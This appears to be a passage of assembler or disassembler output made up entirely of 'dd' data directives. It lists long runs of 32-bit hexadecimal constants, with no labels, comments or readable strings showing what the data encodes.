dd 483C2A68h, 2768903Ah, 8679FDCEh, 8BC67BAFh, 202B5E65h
dd 5D967DD4h, 6EF529AAh, 0B8ADECAh, 0BF5892FDh, 40FCC74Bh
dd 73CF88BBh, 50FA7552h, 41D9A9D4h, 718B2BFEh, 292CF746h
dd 0A712468Dh, 14F8594Ah, 0BEDA3D16h, 0D1526133h, 4C32BAD3h
dd 0E222E113h, 63C38034h, 9D0B0A1Bh, 7F2D49E0h, 6BF6071Dh
dd 9349A443h, 4131D026h, 5520295h, 16F4C3Ch, 0C025C241h
dd 7CC87D38h, 0B5B1C90h, 0B0DD59CBh, 97F7CC20h, 0B181B9C6h
dd 4A87636Eh, 4DC4B9A2h, 0FB800ECh, 23FE29h, 503E8C1h
dd 607557B3h, 0DC17E926h, 0B6A95A96h, 8325ABB4h, 6E8F38BFh
dd 1C595D40h, 16D5C780h, 64AA1DD7h, 0C48734CFh, 4C8BBA8Dh
dd 0D5099F4Ch, 9EA68D6Ah, 0E0EC91E5h, 1A57BEFBh, 0F60DA40Ch
dd 20C14563h, 0CC565A22h, 5AEA104Dh, 0A909F3F8h, 0B9DAEF33h
dd 5B0A7A4Dh, 204835A3h, 0F40C5712h, 0ED16AC23h, 4DAB916Ah
dd 7F91B4DBh, 74AB23C5h, 0D0229CE3h, 0D524684Eh, 0B8D404FEh
dd 9B4B37Ah, 85FF75A8h, 2DA12F19h, 89BB90EAh, 0A25D5BEEh
dd 66E90D2Bh, 0DC00248Dh, 0B8C83108h, 0E3BA4A44h, 0E688229h
dd 2519CC1Eh, 58A9094Ch, 29A15800h, 73FA2EE1h, 0C1917F4Fh
dd 0E59F9E1Fh, 0BC4B49DFh, 0C97F99F7h, 0F0B663Ch, 8951C8B7h
dd 22794762h, 8100A05Fh, 3B3E83E7h, 0F7030E8Dh, 415335BCh
dd 3629180Fh, 81011608h, 7AD07E93h, 242895FCh, 8E513994h
dd 81207225h, 32240D40h, 8035D0F3h, 6C436D03h, 758C731h
dd 4849C858h, 0EAED6560h, 0FD019845h, 0CA0AC2h, 4E866856h
dd 0E8A18375h, 2F4B757Ah, 2AE107E1h, 5214F42Ch, 0CB2DAE55h
dd 0F7BCA5ECh, 685BDFC0h, 2D464E03h, 0D416209Eh, 5814E80h
dd 79DF3FF6h, 441DB9EBh, 9DFB6414h, 71E7B677h, 6AB7602Dh
dd 9097FE20h, 82ACD0C1h, 5F37E400h, 76B894D8h, 98310B40h
dd 0D466A21Ah, 63BA038Ah, 1A3E7001h, 0F8022AD1h, 0AB091EB0h
dd 50588318h, 0D0E205C0h, 0EB76630Eh, 54F2BA20h, 26600506h
dd 909B09E9h, 0E8D1D080h, 0BC2D4000h, 568D32Fh, 279D7513h
dd 2550504Dh, 55725F0Bh, 206E7C3Eh, 0E6586B07h, 5ADC4C0h
dd 2731DAB7h, 67F43B68h, 3E975267h, 5A7075B0h, 7E200C1h
dd 0B833EA81h, 0DA90E1DEh, 0B78BD358h, 3AC2F3BFh, 8989DE5Bh
dd 65567F72h, 44D4A864h, 5DB2C7A8h, 0B5E466D4h, 8040DFCh
dd 87805AF1h, 9FF6B293h, 28800256h, 8156982Eh, 3BD477E3h
dd 0EB016783h, 1A32336Fh, 0C10E8243h, 60164779h, 0B284F48h
dd 0D9291390h, 0FC492CD9h, 0B2D6729Bh, 2F247A7Ah, 7A4ED784h
dd 615256B6h, 0FC3CDD0Fh, 3D2CFEA5h, 0CF29034Eh, 1D9CE954h
dd 0E5881A01h, 76B25258h, 3234F7EDh, 59511D25h, 0EA2D1233h
dd 6128434h, 12619CB8h, 61311151h, 0CC55E6BCh, 3EE91305h
dd 80B6F3BFh, 8D181AB9h, 8B015A06h, 54592D8Ah, 5E950E0h
dd 0F1B86295h, 13D4ACEFh, 0F1FDE803h, 7B7C38BBh, 0C74314C0h
dd 0EF2FE964h, 0B555CE03h, 0CFD7EF9Ah, 22C525C9h, 0E56E906h
dd 0DFF20429h, 0B05AA52Eh, 0EFE7D1B6h, 0FD437DA8h, 58F094Ch
dd 0F84A371Ah, 0A803D8F1h, 54729AE9h, 81A29DE1h, 295A74A1h
dd 0E95348CEh, 18CD5C2Dh, 2777938Eh, 0E650502Bh, 7DC4494Bh
dd 0A5AE0D87h, 3493648Bh, 853E28EEh, 2BE20733h, 0B34D4677h
dd 1750AFA2h, 0A72745AFh, 4E4AC823h, 0FE46975Fh, 98875725h
dd 9DE51BA9h, 6B55CA99h, 53702137h, 2E702A68h, 0E1046BCh
dd 0D8A0CFE3h, 0B6B7E973h, 7D736ABDh, 361104E0h, 322EE026h
dd 7F0D131Ah, 872DA3EEh, 0EBE9560Ch, 0A72522A2h, 5911A60Eh
dd 6016960Ah, 25FD6855h, 70A0CF72h, 0FDC0A850h, 0AE1BE4EEh
dd 0A35B4F3Ch, 0FD712ADFh, 80D83028h, 7A47B941h, 13F13BE3h
dd 0FA9E680Eh, 59564B30h, 0FE870C5Eh, 3108D7F7h, 0CE41F172h
dd 50F7160h, 215D34D5h, 0EAF164C8h, 7A7781D1h, 31685700h
dd 0DBBC5B3Ah, 7F04E0ACh, 0FC537C7Dh, 62A34EC9h, 3FBC6809h
dd 30602CFEh, 0F059166Ah, 5F590C1h, 3EE254BAh, 2175B013h
dd 4F08CF4Ch, 95092413h, 9C95D810h, 0F26B6FC3h, 0EA5C0352h
dd 0D3C22F65h, 6C50897h, 0A27F792Fh, 0E902096Bh, 43FCADFAh
dd 0DE5AA161h, 0C71DB07Ch, 0C59971Ah, 0A8E4D3F1h, 0F0152127h
dd 7A840B52h, 10575CD4h, 984D065Ch, 30057DECh, 982663CCh
dd 0AF5FAC94h, 0DD31CD05h, 9560B088h, 7694A48Bh, 68F9F705h
dd 0DCEB2DEFh, 5740F280h, 0C8BAC958h, 7F3BF5D9h, 0A012E4Eh
dd 207F83ADh, 21E1F7C2h, 0B30104DCh, 3837236Dh, 0CAF2B03Fh
dd 3FF31B16h, 0C405CC13h, 0A9BCC6E9h, 794CB35Fh, 0CC65F965h
dd 93E9EB60h, 2733925Bh, 67FB6A4Bh, 4DD9DAA5h, 801DEB32h
dd 9B2DBCC6h, 1E7D9689h
dd 0DD78B5D4h, 0DE5F2727h, 8A86E9D9h, 0F53D3D74h, 3A599261h
dd 409F8EF0h, 0C5B75E9Bh, 3DD92F07h, 4BCC0C4h, 417C614Ah
dd 0BBDF3B57h, 0C612500h, 0B8E90BBCh, 0D67CC54Ch, 49059017h
dd 37BAF388h, 0CCA9D2E7h, 734FB4D4h, 0BA47008h, 0B284C729h
dd 5BB4A377h, 21C7A62h, 8371DDF9h, 39AA6697h, 0D7B43244h
dd 0B8C02FFCh, 6A9F4348h, 0C2CDE925h, 204F7FFh, 78391612h
dd 6CC6C29Fh, 8B7652FEh, 9763AF88h, 0DBB5C2h, 4193EAC6h
dd 1434B0Dh, 8061EF2h, 4B5A9F1Ch, 0D4BC5E5Ah, 358EB412h
dd 90A81C7h, 0F2627E03h, 27C6DB04h, 0E941B8F9h, 332B94EEh
dd 0FD8D0862h, 0C868C2BCh, 0E972A157h, 994D1921h, 4929F72Eh
dd 40B9D1EDh, 41BA8DE3h, 0FD4FF690h, 5F3DE6ECh, 41BAEA50h
dd 0E288B87h, 0B608686Ah, 7A140D11h, 0A778F329h, 5BEE68BBh
dd 39012E68h, 3C78C013h, 50487C97h, 75B200E4h, 0FB84A03h
dd 17162EE4h, 8CE9897Fh, 5C1C2370h, 66656568h, 382E141h
dd 30428F57h, 858287A9h, 0C6564D55h, 0AA165D49h, 3F5858h
dd 9B3C4CBEh, 1CE8114h, 7AD64F7Bh, 67D4A1E9h, 45DE41B7h
dd 1299FD82h, 0A71715h, 0BD44967Bh, 3610688Bh, 9C449976h
dd 84045BD1h, 0E92CE8C0h, 32F16EDh, 80C1863Bh, 0C8887BC0h
dd 0F7B55903h, 9858C528h, 525AD5h, 0EEC07AB6h, 6EF68007h
dd 0D1753F98h, 0E310DE6Fh, 0E85AF520h, 0F8E586DDh, 0BD08DFD4h
dd 0C0542BADh, 8D1EFD4Bh, 7508C49Bh, 57283D0Dh, 0FE0840E6h
dd 79C5C158h, 0EA80174Fh, 2E4340BAh, 73398Eh, 7522CD4h
dd 945E13E9h, 9274CD8Ch, 0A4094E43h, 79D189Ah, 0DFF5ACADh
dd 1F5347B0h, 0C8526DB3h, 0D6258BA4h, 0D3BF5610h, 3EB00217h
dd 26E13941h, 9C412A58h, 2366292Eh, 4A710A2Fh, 891224D3h
dd 4B2F4068h, 7B2BD149h, 73F020D0h, 0F800340h, 0F82CD5C1h
dd 0E2A7AD49h, 0AC61F1BEh, 23928256h, 406C2965h, 137E421h
dd 0D6F776F9h, 6CE379E9h, 0CB859751h, 31E299EAh, 0AE246B0Dh
dd 16AF79C4h, 5BD0E7DAh, 59AC8084h, 5954E5DCh, 0EA04644Ah
dd 0CC811832h, 0C04DDCAAh, 0A89A296Ch, 407DCF4Ah, 195AF685h
dd 785D042Eh, 78E37354h, 0FAB5EB5Bh, 1F5B1C60h, 0B49B965h
dd 1E57D7F0h, 35876881h, 3D8C3BD9h, 540C3278h, 0A6161112h
dd 0BD3E16FEh, 0EA98229h, 0F7AC608Fh, 0E9222E12h, 0B173168Eh
dd 0C0207A49h, 0BD455668h, 3282AE98h, 123D5F26h, 89B11513h
dd 7FBE8B6Fh, 0CA1124Bh, 0F4747122h, 0DDDD4E8Dh, 94840197h
dd 0CCBD00C1h, 324A0F31h, 0D1AEEE21h, 10234273h, 0A5551825h
dd 0E8FCF158h, 0EF6513F5h, 6DAED557h, 0E5B93093h, 0E22C5D81h
dd 35C106A5h, 87F0ADC6h, 27C3612Eh, 4A6ED210h, 0AD282008h
dd 0FB0B422Dh, 7A7FA63Eh, 203296F5h, 0BF05B17Ah, 0FDE3998h
dd 0FA3786BFh, 0C4266500h, 0E9D8F705h, 5CD74CDCh, 3B140E99h
dd 247C40CAh, 40096DFBh, 21161353h, 0F9F72925h, 0F889420Ah
dd 482BE85Fh, 0BFB70B35h, 0C556EC1Dh, 0E9038803h, 8298A5CFh
dd 0A7F24E8Eh, 8BA34FE2h, 0C0C7E912h, 1F6687Ch, 242EA73Dh
dd 0D0A5CAD5h, 94A89D10h, 50CF2C8Ah, 0EEE036B5h, 6AE9590Bh
dd 0BB3B75DDh, 6E9DD6D9h, 257FE388h, 1CDC768Ah, 81814B0Eh
dd 7DB72CACh, 0A4FEE343h, 8BDE0901h, 0D6C6361Ch, 60E9D090h
dd 0F934D0C4h, 73525D10h, 5B5C23BAh, 47D3814Fh, 0A8887B58h
dd 0BD007FE4h, 572E3467h, 63ED3481h, 4984FC0Dh, 365C8C26h
dd 0F45DD72Fh, 0FAF768F9h, 0B225B746h, 96B7C1A3h, 80AFD22Eh
dd 0F2985DC3h, 0C049E941h, 12D7C3Ch, 30685F0h, 0DED66B4h
dd 0A7F4FA3Fh, 44C7E483h, 4F8B6414h, 736027A3h, 91193D91h
dd 72C33D8Dh, 0E9ED5E2Eh, 3243EB80h, 0FABD20BCh, 0D10882C8h
dd 28F860B1h, 0F29C5371h, 9E301C2h, 14C2F354h, 48735EE2h
dd 857F08B7h, 10CD0109h, 80DAA919h, 381679BDh, 2CAE427Ah
dd 75035C94h, 0CBE929EFh, 0F2D302AAh, 7D7C423Fh, 2649DF80h
dd 0CC169C5h, 832DEC3h, 0A0B3B07Ah, 57A90995h, 0B896A445h
dd 8B5AA24Bh, 693E777Bh, 8244E92Dh, 0FC232C7Fh, 0CA5A4BA2h
dd 0EED251B7h, 8441B3A9h, 1AAC4E58h, 410506Eh, 31FA25B1h
dd 3F62AC7Eh, 8B05A849h, 0D199578Dh, 13A8E819h, 0F800EAF8h
dd 51229B6Eh, 2766B8B9h, 0DFDE75FDh, 604E10Dh, 0D80640BBh
dd 0C6DF56Ch, 6333610Bh, 80815F55h, 7B149425h, 0B83152A0h
dd 0A9894B98h, 26FE96A5h, 88D6DD46h, 69AE28FBh, 0E3FD6C54h
dd 5B6BABEEh, 9C4000Fh, 0F8425DEAh, 680BBFDEh, 0C072F4DCh
dd 0F6B8A09h, 0C60119E6h, 0B008A8DCh, 3C5C609Fh, 0B61E3EB8h
dd 0DF056101h, 404CB772h, 2665AF30h, 15C66BBBh, 0FA43AD0Ah
dd 0F90CC716h, 0CCD2DED0h, 1BA24F0h, 51C84A48h, 6C2B3E68h
dd 7D96C105h, 8274158Fh, 3C2CE681h, 0CE3B341h, 16E007A2h
dd 609DDAF7h, 9FFC831h, 0ABEDE977h, 0B250D5D6h, 3668808Ah
dd 0BDFC495Bh, 6D85E9E0h, 1ABC16B9h, 42210761h, 0B23AC140h
dd 3A886401h, 0A4F3083h, 140DA8C9h, 0F3C203F5h, 0DA608224h
dd 163E8BAAh, 5B7902Bh, 3BD97FF2h, 0F1FA52B4h, 0BA975534h
dd 0AA488ECEh, 16E1C710h, 9F01D2F7h, 79BB6F77h, 81AA0A70h
dd 0C3746B5Ch, 0C7B91185h, 5D7EAFDFh, 9AE5933Fh, 84E435FFh
dd 0E0DEB1E9h, 0D0BD88FCh, 123C34CBh, 61A0C1FFh, 58660293h
dd 62027548h, 6E7E0B81h, 745207A3h, 23C8DF5h, 2295795h
dd 0FD27B0D5h, 90F9EE9Bh, 1452B65h, 0C8F91015h, 18BDD651h
dd 514137B2h, 8149AC71h, 0E17953F6h, 40037D30h, 0D54CF7E5h
dd 67051DE4h, 0EB0F6D52h, 2FF52007h, 95011F6Fh, 0C60B0F5Eh
dd 0A93AD702h, 23ADF865h, 2E6A5C6Bh, 960DF61h, 0FE4497B6h
dd 0E8408290h, 1E099881h, 0C9724BF2h, 0C8D65765h, 5DFA92BBh
dd 533F6DEDh, 0FE55ADB4h, 8F176431h, 0D3C74983h, 0FC019035h
dd 0BA5825F7h, 0F43B0593h, 9749E95Dh, 5451177Ah, 6E056EACh
dd 0EC2EE019h, 0E28102BBh, 40D479E3h, 9FC54ACAh, 0B55B74BAh
dd 70D2E989h, 8A5097ADh, 11125B90h, 84044118h, 5B0ABD77h
dd 0C8A30881h, 3DB3053Dh, 0BC07529Fh, 68462850h, 0CBC26E20h
dd 0C08910C1h, 6B22ECF1h, 10DA16D0h, 0E04AB71Ah, 4E654133h
dd 94BC6C31h, 9229EDD2h, 7A407DAFh, 885F098Bh, 390B1229h
dd 855316D8h, 6C91775h, 8B84F639h, 0F680025Ah, 0BED58473h
dd 8B2633AAh, 0D0CEAB94h, 2776410h, 22C6A0B9h, 3EBADCA7h
dd 0AA55FB92h, 18E09C61h, 0C40BB37Ah, 0AC17B54Ah, 0DF929EA3h
dd 78BED284h, 0A624E9C6h, 988C9FC9h, 50EAC94Dh, 82F0BEE7h
dd 7EED6057h, 32522536h, 260E005Dh, 95BF09C3h, 9B7C6289h
dd 5D10D08h, 840B353h, 0EA275C8Dh, 5BD06453h, 0B903A856h
dd 66C2D200h, 1054C78h, 504F9C10h, 0D540192Fh, 6E3F2D68h
dd 0BF60795Eh, 4F3266B9h, 4010E819h, 992F4BFCh, 0D036E0CDh
dd 0D20E5871h, 5EBF205h, 0C664C11Ch, 6DAA05E4h, 0C7542C08h
dd 322C88E9h, 1BAF1FBFh, 2BDA45Dh, 3B306829h, 44CB8FDDh
dd 89EE5E91h, 0D8012BDEh, 9679705h, 0A448137Bh, 0B613BF1h
dd 4031EF73h, 0B55E17D0h, 0C54B12DBh, 0B4EAA598h, 965F7DA9h
dd 0CDE680F2h, 6AF92F5Eh, 7034CBD6h, 6C3550D0h, 0A16B5FD8h
dd 37F303C3h, 3C2D1302h, 7F07C625h, 17078E88h, 6E3CBE5Eh
dd 79DB25E9h, 3E61B354h, 0BC408D74h, 2802FDEEh, 0FAFC462Eh
dd 17DF3039h, 0C154DD0Ch
dd 1A01C5Ch, 132F0552h, 2130F201h, 58BBDC0h, 71EC4EF4h
dd 0E648B5D2h, 0F19576BDh, 38684152h, 0CF302E2Bh, 50D41E6Dh
dd 183A953Bh, 0C118263h, 0A91D7E5Dh, 0BC53E9B2h, 9762DAAh
dd 37816CCFh, 0F3D09724h, 1FE394EAh, 53DA090Fh, 0BA594252h
dd 37F6088Ch, 785AD30Eh, 81C1381Eh, 81CDED58h, 0A17BD1AFh
dd 0CC47014Ch, 5725082Ah, 0F2205F94h, 96D8BF97h, 520F428h
dd 0F588962Eh, 4C61AE09h, 2B9898B5h, 976B636Fh, 858BA9C1h
dd 0A44049E9h, 0D7F670B7h, 6FF74C80h, 4EA72610h, 2D689E98h
dd 48D460BCh, 8D6FC0C0h, 15C18205h, 8AD924AFh, 97347D44h
dd 2899B920h, 0F9B741C0h, 0F3AEB1B1h, 0FE010164h, 0C804D938h
dd 3664Bh, 99B4362Dh, 5270BDFCh, 7906FF27h, 79FE8919h
dd 8C6E98DFh, 53739589h, 0AE4973A5h, 50100993h, 9FDDC45Dh
dd 0E214F6F2h, 9FFD5Bh, 392FF0EFh, 0D70144h, 52BEBB53h
dd 0C1E96440h, 0E3714Bh, 896CB010h, 5E6DAB28h, 0AC5744CCh
dd 7E4881FFh, 0A4EF2271h, 834E1D1h, 846A79DDh, 0C777BABEh
dd 3482B66Ah, 421FBF67h, 1624C09Dh, 1DE9B012h, 0F07E14BDh
dd 458735BCh, 0D0899317h, 74D82809h, 42FC68E6h, 97B8Ah
dd 776FBED4h, 811A07C9h, 0A4582DCEh, 0C8C0BB36h, 0B3D65C6h
dd 8DE93A91h, 0E75EB552h, 0FD9289CAh, 9568C2E9h, 603C5606h
dd 187F2C92h, 0D427FB98h, 0D829ECC1h, 34A99CAEh, 0A5217F2Ch
dd 2B90312h, 0FE580185h, 2C3BAA8Dh, 0E9255231h, 0FA8E4BA2h
dd 0C2667E2Ch, 4109DBA3h, 6CDC192h, 93C0092Ah, 3FDC0F29h
dd 213F6651h, 549EF23h, 0F15600AAh, 0D022983Fh, 0DAD9894Ah
dd 545E073Ch, 7B2C7B9Dh, 0A7AFA606h, 0F663DA1h, 0C02F42ABh
dd 15209029h, 3CCC927Ch, 212CC80Fh, 0CB684197h, 65B0583Eh
dd 741527F4h, 23AF61E9h, 5292887h, 785006F5h, 9AA804Ah
dd 60158744h, 3DEBDFF7h, 0DE37AD4Eh, 0E94F0688h, 3112712Fh
dd 3CEF8BC2h, 0CE41573Ch, 4E0B6282h, 4E403CC4h, 945E6237h
dd 13005BF8h, 4216A717h, 4A90E2C1h, 79D34C2Fh, 69EFC77Dh
dd 0E984ECF9h, 25A4FEE8h, 0A00713C7h, 0C174E016h, 835A08A1h
dd 9610D71Eh, 0E40C0142h, 10ACC3Fh, 2BCE59CFh, 6716DDA6h
dd 59B0DCF9h, 8F88CC9Bh, 8E6801E1h, 39417B4Dh, 85801215h
dd 300062E3h, 81745033h, 6C3C6DE5h, 0F501F613h, 790E3217h
dd 0F07ADDF7h, 41128ABAh, 47C489FAh, 15535FBh, 0E745A0C4h
dd 6F4A31C8h, 4E34B3A5h, 0A9954B40h, 5F9C940Ch, 816F8EB5h
dd 6B62E930h, 7F6264F5h, 7D7C5CB2h, 0E6E9DEC0h, 9112974Eh
dd 510772C0h, 63BBB900h, 0E72D3742h, 0CA92715h, 7809CF0h
dd 906A3EE9h, 6016F47Bh, 8F2AFE90h, 29E41FF0h, 0CF7649D7h
dd 4ED5019Ah, 1175591Bh, 93D9881Ch, 10F41FCCh, 0C7FE18AAh
dd 70EF8004h, 5BF83F0Dh, 41D0C427h, 79244ABEh, 68385210h
dd 0D1186CA5h, 0C182D4EBh, 52328C40h, 0BDD4F125h, 0B96452Dh
dd 83338368h, 47F5E59Ah, 17FE6ADAh, 0FA74562Dh, 0DDC26674h
dd 555A02A0h, 8EAFC38Bh, 0FDD348AFh, 0C52F774Ch, 53C8B090h
dd 802601B3h, 19E9F0F3h, 0DF352B6Eh, 2EE917D8h, 0EB1C8CAFh
dd 5A688160h, 3FBC535Eh, 0C55558A2h, 0EBF9AF7Dh, 62E4C2AFh
dd 0E2D054A6h, 0A05E0668h, 0E9C88269h, 1E89C430h, 527ACBEAh
dd 77D80C2Ah, 35F2CEB9h, 3D41B75Bh, 1FBD107Eh, 0EBE5B47Fh
dd 0FD16F302h, 6827E97Fh, 902EB58Ch, 0EC8B5933h, 0B33F499Eh
dd 0A72994AAh, 11203DF8h, 68530B47h, 3B464F65h, 742FC12Fh
dd 8ACB1686h, 4FA04E95h, 81E550D1h, 74B70030h, 0E9F531D9h
dd 56924B36h, 2245417h, 0AF6F34ABh, 0DA467509h, 9A065CB8h
dd 0B64A4A20h, 0E5278204h, 86C9570Fh, 20B9B6E0h, 0F06A1C25h
dd 0FE7049Dh, 80565EA1h, 2945EFC1h, 0F8547290h, 0D0B788C6h
dd 0CD385241h, 878BA17Dh, 0E9F07F2Dh, 2CBCB8DBh, 4A69DD82h
dd 0F5506050h, 922909Ah, 0E0C8E94Ch, 9088B479h, 215D1276h
dd 1E839D8h, 0C27BC631h, 5F485044h, 5495E68h, 0F26784C0h
dd 0E1C84AE4h, 9C305C70h, 0DBB32554h, 4A5EF0E2h, 5307D7A6h
dd 0D9675B52h, 4EE25A34h, 0B912824h, 1A5FAC32h, 0C142E0F6h
dd 1BF42D1Eh, 7824658h, 0B02B4E40h, 7E28A3C4h, 0A500068Dh
dd 4BF908DDh, 6EE1951h, 0BF914202h, 0E9FF4440h, 0AA16CB5Eh
dd 351EB8A8h, 0C03813E0h, 0EFD608C2h, 0E383BC4Fh, 50A6D4D1h
dd 0D492C943h, 3C8BAB08h, 0B151D360h, 2C12B6DBh, 0ECE30h
dd 97BB5290h, 370EA976h, 41177888h, 3272A741h, 0B61317Ch
dd 0B705860h, 416FB354h, 4A5F0180h, 0CFFA4B05h, 0AD50F67Bh
dd 0BD884E8Dh, 542E1ECCh, 0EDA4BF3Fh, 0E389899Eh, 96CB5602h
dd 56259AD9h, 42205E35h, 494AEA98h, 0DF401A45h, 0CEE44E5Dh
dd 9FF34BC9h, 0EE452AC5h, 4481CC31h, 2A6FCD3Fh, 0D2FDE075h
dd 0C055F869h, 4BD2E90Ah, 0A494D17Fh, 105D626Eh, 41FE5D6h
dd 0C4074963h, 803BD5D1h, 0F6539C05h, 21F0D06h, 0E9130158h
dd 13759ECEh, 3935E8C2h, 0EC4E4FF3h, 2D5A8030h, 5EF834A6h
dd 2CDCC26Bh, 2ED4FDA9h, 0B72FE69h, 0AEF4375Bh, 2D365027h
dd 0CBFE2ADEh, 29665549h, 0AB242490h, 56FA2C9h, 48B4F379h
dd 50E5E248h, 80B4E43Eh, 0C7B6C968h, 0F8C1B365h, 0AF049A3Dh
dd 13EB54F0h, 0BE0E3F76h, 61A73D12h, 1C5F0907h, 0F528F25Bh
dd 3D45C68h, 5153492Fh, 0DB11095Eh, 872E8755h, 9D28DAFh
dd 324DC02Bh, 78250EDAh, 9ABF621h, 9D597977h, 2E3CA88h
dd 0F166858h, 35686557h, 0DE7A81F1h, 0EB8301FEh, 0EDA0C1F3h
dd 68092B36h, 2E73530Ah, 9C047F4Bh, 810DC5B5h, 6EF1F565h
dd 7810C4CAh, 0D3311DA0h, 0EF44A4FFh, 775484A0h, 0F3502893h
dd 0C69D888Bh, 4FAEF240h, 0CB644185h, 20E63DF6h, 7507E35Dh
dd 0C1526F23h, 2BB0665h, 0F7954C21h, 0E9866855h, 30EC49A6h
dd 0A103E115h, 3BB50B76h, 0FFD86F13h, 8D98315Ah, 3ACA5801h
dd 0E35D817Eh, 0A6E2AABCh, 0E4C7E893h, 73847FF8h, 0D7BFA943h
dd 0E90A1DA2h, 0A4D4C82Fh, 569D09CDh, 138927D1h, 0E4A95ED9h
dd 457BB418h, 2D595DC4h, 0A4D3F8F9h, 0AB4A394Ah, 0F24EA3A7h
dd 8F5FC4F4h, 3A7C5B0Bh, 9AC115h, 0B551F828h, 0F87E2C26h
dd 0F20E928Eh, 0BC18C341h, 72E1EA88h, 76010247h, 0B9BA0166h
dd 0F9421D24h, 683B74E3h, 0A93CC61Dh, 966626FDh, 47BE57A5h
dd 25F97A9Dh, 9F5E4C0Ch, 714A01C2h, 47A9AD6Ch, 97BB145Dh
dd 0C19DC4D0h, 717594B1h, 0E5B0B17Eh, 30E564FAh, 925ED579h
dd 90055809h, 4A295D38h, 0B011A847h, 0A85F4468h, 80BE96A0h
dd 3E4CCE81h, 78062D1Bh, 0B91680BBh, 0DF57AA6Bh, 5BBF894Dh
dd 887D3181h, 3078EE33h, 0EE655F59h, 133B27F6h, 0A3057534h
dd 89C9448Bh, 0E1E5ACC7h, 5CD538FFh, 861E0848h, 0B7264227h
dd 374256F3h, 0EB290201h, 4985F6Ch, 276CF695h, 0E941FD74h
dd 0F3516C02h, 8B516AA8h, 0A800312h, 0B348C0B8h, 8F0B0556h
dd 807FFB3Ah, 8D712FCAh, 2A3900Bh, 0EB676643h, 6940C801h
dd 0FB254D27h, 83FEDC6Fh, 14CA73A0h, 590FB9B0h, 0D1858F4Eh
dd 150924E8h, 0A2F60C16h, 0D223D702h, 0FC94805Fh, 280E9A20h
dd 82B2D629h, 9EAD008h, 0C35C17B5h, 1D2C8275h, 89B8987Eh
dd 0C644C0FEh, 0D2AC95D9h, 7EE5055Eh, 0A35FAEBAh, 0A182441Eh
dd 0A77E4641h, 45334C8Ah, 779F2DA7h, 24AFD94Ah, 0BD3781CBh
dd 77797657h, 7257ABFh
dd 409C374Fh, 0D19FB5E9h, 7D414604h, 8AFB1001h, 84025A4Ch
dd 2DCE0FE4h, 0E143CAFFh, 852BB16Ch, 0CACBEA1Eh, 332E6B4Ch
dd 2A468E6h, 9B73BB2h, 4D16FC1h, 0EFF9C0FAh, 0A931776Ch
dd 685F5826h, 0E79675C1h, 752AC537h, 0DE686EAh, 2936AFBFh
dd 0A7C675B0h, 0E4479825h, 0BB5300C9h, 9D12848h, 0BC24AB9h
dd 575BD929h, 17642E83h, 84D3C4C4h, 0B6081264h, 0E42D1262h
dd 0AD1D88AEh, 0BA594040h, 0B48F97BEh, 0FCD1A749h, 342E143h
dd 47BB052Dh, 4FDA3B8Dh, 6C7EE3A9h, 0D3806D13h, 5B66D82Ch
dd 5B7BE85Ah, 0E982C3E9h, 20D57620h, 0B340302Fh, 0E1810E3Bh
dd 2BE95DAFh, 6AA89A56h, 416B2616h, 0BA8B1EBFh, 5B3D217h
dd 81CB01B4h, 0D4DFAC4h, 8CF89305h, 630BBA92h, 0B66332F3h
dd 0AFC227EFh, 0F932E1E6h, 559510EBh, 3F67AC3h, 2DCF1AC8h
dd 6CDFDAC0h, 43975695h, 16C9F581h, 0EF3A6019h, 511792B1h
dd 0D0A77389h, 0A218F076h, 2D840F10h, 359A3EEh, 0A5AF5544h
dd 0B8A23AFBh, 0BA0F54A7h, 3DAA5913h, 0B394ECC3h, 14346B9h
dd 4CE409D8h, 4DF86F3Fh, 11304B0Bh, 7DE24255h, 79F0A3C8h
dd 1C0FC69Fh, 83B8311Dh, 799672Dh, 8604BBD5h, 30BF5893h
dd 267EE7DAh, 4141294Ch, 3872F806h, 6863CFAAh, 5E80858Ah
dd 26D454AAh, 5B39EDB8h, 1481397h, 0CBE9A993h, 0B82C00C3h
dd 7E6F70D2h, 0D373F793h, 13D70534h, 2D549D08h, 5B29457Ch
dd 67925A17h, 0C0C0A6F9h, 0CF801CE4h, 0AF7C271h, 95E0F830h
dd 5E81E346h, 0AB1DC53Fh, 8BD56CD7h, 355D4690h, 0B51E0771h
dd 0D4C60976h, 0BB4BB9Eh, 846C7091h, 0B19E61BFh, 0D8CF756Fh
dd 3E53E20Ch, 0CF274FF8h, 0C2949AD4h, 979F92A2h, 4AD8AD3Eh
dd 6266EA05h, 62369FA4h, 5EF11DEBh, 2712655Dh, 0B64D0700h
dd 8C5EE962h, 6DBA43C5h, 0DEA3A58Ch, 56E9782Fh, 685245C0h
dd 5176E0h, 81425A29h, 64357FCAh, 0E2040E76h, 385F77BEh
dd 88465AC0h, 89D716AAh, 5E0BF3D0h, 4C161CECh, 0A2DBA8B6h
dd 0C756EA37h, 7E550B46h, 5424B744h, 1908335Dh, 4F6124Bh
dd 12E8BADFh, 0BE48CAE8h, 54909Dh, 0BA503A68h, 9355859h
dd 0A645AFC5h, 120827Fh, 0A21140DDh, 25759396h, 98BEE754h
dd 0C2B3C108h, 0E4B93C2Eh, 63E82FFBh, 2654F95Eh, 85330AE9h
dd 0B55F295Ah, 0C7297E22h, 0B15FAC2Eh, 5C0287F6h, 2DF21657h
dd 74195EEBh, 53227A89h, 2749C454h, 0AA447AEDh, 851B2F9Fh
dd 8F41AE4Dh, 10B43875h, 0BCDC802Ah, 121E7843h, 2954F389h
dd 966C12B0h, 0E802628h, 0E728E4EFh, 58ABC7AEh, 299D3586h
dd 0EAA2F705h, 0C4FE37A3h, 0CB83EBC6h, 5281179Fh, 6F944057h
dd 0D1F70971h, 0E683A1BEh, 44299B0Ah, 4C30F2E0h, 7497A5C8h
dd 0A530FEACh, 9C62DDE9h, 70CC89DFh, 703D2673h, 5BD6F5D8h
dd 0F8C54B09h, 3E0A0062h, 0EB812350h, 0D1F09795h, 4DDD3124h
dd 87B2CF3Eh, 0D92684h, 0C0FE610Ch, 0A015B82Ch, 97915B70h
dd 81B2889Ah, 59276F9Ch, 1BBE64Bh, 14ED52B7h, 227517E9h
dd 4AC6C0E0h, 4BE7F532h, 2D7E489h, 8E01C890h, 552FE133h
dd 554101BDh, 478149A0h, 0A75B3BF6h, 56840016h, 0D7184CE8h
dd 0F7484D4Fh, 0FD296184h, 0EC8233Ch, 77416851h, 91D139FFh
dd 0F5005464h, 30CA2B95h, 235BDF68h, 450AA930h, 0E9060921h
dd 105255E5h, 6C51FE0Ch, 17ECC231h, 0B045BC3Fh, 0E0500255h
dd 0B54BDE84h, 18F6F688h, 0C52311Eh, 9D0FA20Dh, 0F3CA897Dh
